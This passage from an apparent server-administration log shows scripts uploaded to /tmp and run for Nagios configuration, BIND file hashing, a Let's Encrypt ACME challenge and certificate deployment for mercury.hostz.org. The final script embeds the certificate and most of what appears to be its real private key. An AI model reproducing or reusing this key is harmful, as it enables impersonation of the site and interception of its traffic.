with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-13 14:47:28: 

chmod 755 /tmp/pkp924002; /tmp/pkp924002; rm /tmp/pkp924002

2026-02-13 14:47:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2026-02-13 14:47:28: 

systemctl reload nagios

2026-02-13 14:47:28: 




2026-02-13 14:47:29: 

PUT: /tmp/pkp668700

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-13 14:47:30: 

chmod 755 /tmp/pkp668700; /tmp/pkp668700; rm /tmp/pkp668700

2026-02-13 14:47:30: 


ok


2026-02-13 14:47:30: 

PUT: /tmp/pkp786281

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2026-02-13 14:47:31: 

chmod 755 /tmp/pkp786281; /tmp/pkp786281; rm /tmp/pkp786281

2026-02-13 14:47:31: 


ok


2026-02-13 14:47:32: 

PUT: /tmp/pkp520043

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2026-02-13 14:47:32: 

chmod 755 /tmp/pkp520043; /tmp/pkp520043; rm /tmp/pkp520043

2026-02-13 14:47:32: 


ok


2026-02-13 14:47:33: 

PUT: /tmp/pkp486027

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2026-02-13 14:47:33: 

chmod 755 /tmp/pkp486027; /tmp/pkp486027; rm /tmp/pkp486027

2026-02-13 14:47:34: 


ok


2026-02-13 14:47:34: 

PUT: /tmp/pkp236851

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2026-02-13 14:47:35: 

chmod 755 /tmp/pkp236851; /tmp/pkp236851; rm /tmp/pkp236851

2026-02-13 14:47:35: 


ok


2026-02-13 14:50:46: Establishing a connection
2026-02-13 14:50:47: 

PUT: /tmp/pkp294360

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-13 14:50:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp294360; rm /tmp/pkp294360'

2026-02-13 14:50:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-14 06:00:02: Establishing a connection
2026-02-14 06:00:03: Establishing a connection
2026-02-14 06:00:04: 

PUT: /tmp/pkp486458

#!/bin/bash
if [ -d "/var/www/hostz_mercury/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-14 06:00:05: 

chmod 755 /tmp/pkp486458; /tmp/pkp486458; rm /tmp/pkp486458

2026-02-14 06:00:06: 


1


2026-02-14 06:00:07: Establishing a connection
2026-02-14 06:00:08: 

PUT: /tmp/pkp813250

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
cat > c7Hr-NeZCUKT6gysHsiNSSNsc_UyqvEEaSaveAujQW4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
c7Hr-NeZCUKT6gysHsiNSSNsc_UyqvEEaSaveAujQW4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 c7Hr-NeZCUKT6gysHsiNSSNsc_UyqvEEaSaveAujQW4


2026-02-14 06:00:09: 

chmod 755 /tmp/pkp813250; /tmp/pkp813250; rm /tmp/pkp813250

2026-02-14 06:00:09: 




2026-02-14 06:00:13: Establishing a connection
2026-02-14 06:00:14: 

PUT: /tmp/pkp708646

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
rm c7Hr-NeZCUKT6gysHsiNSSNsc_UyqvEEaSaveAujQW4


2026-02-14 06:00:15: 

chmod 755 /tmp/pkp708646; /tmp/pkp708646; rm /tmp/pkp708646

2026-02-14 06:00:15: 




2026-02-14 06:00:15: Establishing a connection
2026-02-14 06:00:17: 

PUT: /tmp/pkp609204

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
7d:18:12:c1:e5:b4:eb:53:b1:55:fa:1d:a0:2a:ac:ff

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBgmwu0CMlHRvXirKQOBmD4nQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE0MDUwMTQyWhcNMjYwNTE1MDUwMTQxWjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKuSF/VdaUUmUpA5k+RInmMvXYY0MkOO1MaqRx2g8iMXLv4mG1kHIkfygyPv
KwHRKBJb7r2fl95gFKq6NNVDQNsWN4YzqrdC5ol0TZlr/ClZ1pPnD+cvm8ylvNPN
eGPmalH0QIYqQywEwWfFvHHWpVlgNlqutE0DnClbsnW1DvG39pSJYgVR/Jbjribj
WyTCHVwMFXUlJ5vmPaakjPO5008jkLb1zt+61J0Fk8yAEWN0V3rc3VejJ9VZACdz
bOMQV7bgJvePP2GOVnQz6JbRqTLqiAUgkzyyk1IobCQwYFUkJ4OzIqFKy5MJBckT
U2rIgzVPnTbxMjCrsTmcEzfxa/kCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBR0
ybn2wSgO55oIY06VLMfwyVsVTDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lcmN1cnkuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODEuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAyzj3FYl8hKFE
X1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGcWrxAkwAABAMARjBEAiBZJUBHrrB+
nHjAVaaEHl6Uo8FZTucft/dPFUUQfQd83gIgcR1brkoJJvsW3ZshkYQ7fMrIFz2f
cb4PyaP7HXNpav8AfwBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAA
AZxavEEIAAgAAAUACWpmNgQDAEgwRgIhAN+Al4PizNzoDZoMuzOWzHIwGHv93TPM
ARhEnrRbEmDaAiEAvU1WQU4VQCGkRSXYnId5thN2/mCrfuLVMJ+hezOo7y0wDQYJ
KoZIhvcNAQELBQADggEBAHsF3caFHxVv8xD8BtkgIjoNZZEb/j4rH866rcJqVQQM
YvW9AEXWUmkFvOu9TFismVdCw/rJitqytiXV0UX5nMTwQNHlaC5WAJOT3YuLhsJy
VhTydvpbp7RB+XAGJhTqkd+tbLq1qUdVxp8gQV7XVIA1waQhakVqcjbYFHA7XPBu
cGIVB+Aa9gMBNl1ZKL83kBWIX6A7EgxIc9yOIBM8hXudKM1eqiJG3ZT+DJsRG337
w5uLwF5crOiUKbKPdZjdQ71FMHAerEjlwCk62rt+33YC8Noz4hnwL4LRJZXqEoHs
y30izn3AM8lcl3sAJP2jX6UWj93iHMPWktL5bubgkEA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCrkhf1XWlFJlKQ
OZPkSJ5jL12GNDJDjtTGqkcdoPIjFy7+JhtZByJH8oMj7ysB0SgSW+69n5feYBSq
ujTVQ0DbFjeGM6q3QuaJdE2Za/wpWdaT5w/nL5vMpbzTzXhj5mpR9ECGKkMsBMFn
xbxx1qVZYDZarrRNA5wpW7J1tQ7xt/aUiWIFUfyW464m41skwh1cDBV1JSeb5j2m
pIzzudNPI5C29c7futSdBZPMgBFjdFd63N1XoyfVWQAnc2zjEFe24Cb3jz9hjlZ0
M+iW0aky6ogFIJM8spNSKGwkMGBVJCeDsyKhSsuTCQXJE1NqyIM1T5028TIwq7E5
nBM38Wv5AgMBAAECggEAA3KWRILSpLyaoN8mHyqZTS8Ucxsm9FE60LDdm9IVWSCd
tZnXx5ctCHLuXe+pk3OL0x4E2xhctylPppq2IrlwRJH3fmm/UtSqmLhzftaRYy+h
sCHoey0RzxMfBOBxr7JsY6mm8/mfyF/Vlsn3SanTDR7xvkRMgPYs1Yg455eo1wq8
NduzeysevWL61vqr5z0ntJRnDqQHO0cFnhXoRDyUlp9P1jr7cR566PAsLNGi0ial
iQSQwqgVbvFb0IsaerTrLFTyDaMLD7vwO31/QOaHDPV1mZiMOnwFJTB+0RSmHDYU
M6C4iPxA9vFElEywKf3Rw/GP5GbwVAX/ftP/DZlr8QKBgQDT5wiAowDWB0RDu+Zr
+nCd9eVDLVDbY+h/XwRBwmMCYhGXqZ0b01F2k3vRf+5XPjuzOjN46Zd7WNbGdC+q
